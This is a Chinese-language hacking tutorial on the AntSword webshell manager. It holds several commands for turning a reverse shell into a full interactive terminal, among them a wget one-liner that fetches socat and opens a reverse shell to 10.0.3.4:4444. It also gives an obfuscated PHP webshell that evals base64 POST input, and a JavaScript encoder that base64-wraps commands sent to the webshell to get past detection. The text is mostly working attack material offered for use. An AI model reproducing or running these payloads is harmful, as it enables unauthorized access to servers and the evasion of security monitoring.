蚁剑-编码器篇
蚁剑篇
测试环境
-Apache 2.41.39
-PHP 7.0.9
将简单的Shell转换成为完全交互式的TTY
-
方法1:Python pty模块(python默认自带)对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:python -c ‘import pty; pty.spawn(“/bin/bash”)’
-
方法2:使用socat
默认是没有安装的。
在客户端执行:
socat file:`tty`,raw,echo=0 tcp-listen:4444
在服务端(目标机器)执行
socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
通过命令注入漏洞/已经获取shel的地址,我们可以将socat二进制文件下载到一个可写的目录,并通过chmod命令修改文件的执行权限,然后在一行中执行反向shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
-方法3:使用stty
先在本机上执行nc -lvp 12345,并反弹shell,运行python -c 'import pty; pty.spawn("/bin/bash")'如下图所示:
然后将其Ctrl+Z 放在后台执行,然后运行stty raw -echo,并输入fg并回车,注意输入fg的时候不会回显,而后在框内输入reset并回车:
回车之后如下图所示:
编码器
B64pass
Payload
<?php $c="c";$xxx=($c[0]."reate_fun".$c[0]."tion")("",("base64_de".$c[0]."ode")('QGFzc2VydChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYW50J10pKTs='));$xxx();?>
Encoder 编码器
'use strict';
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}
连接示意图:
Decoder 编码器
此脚本可使用解码器,如下所示:
-
base64 decoder
-
rot13
-
aes_128_ecb_pkcs7_padding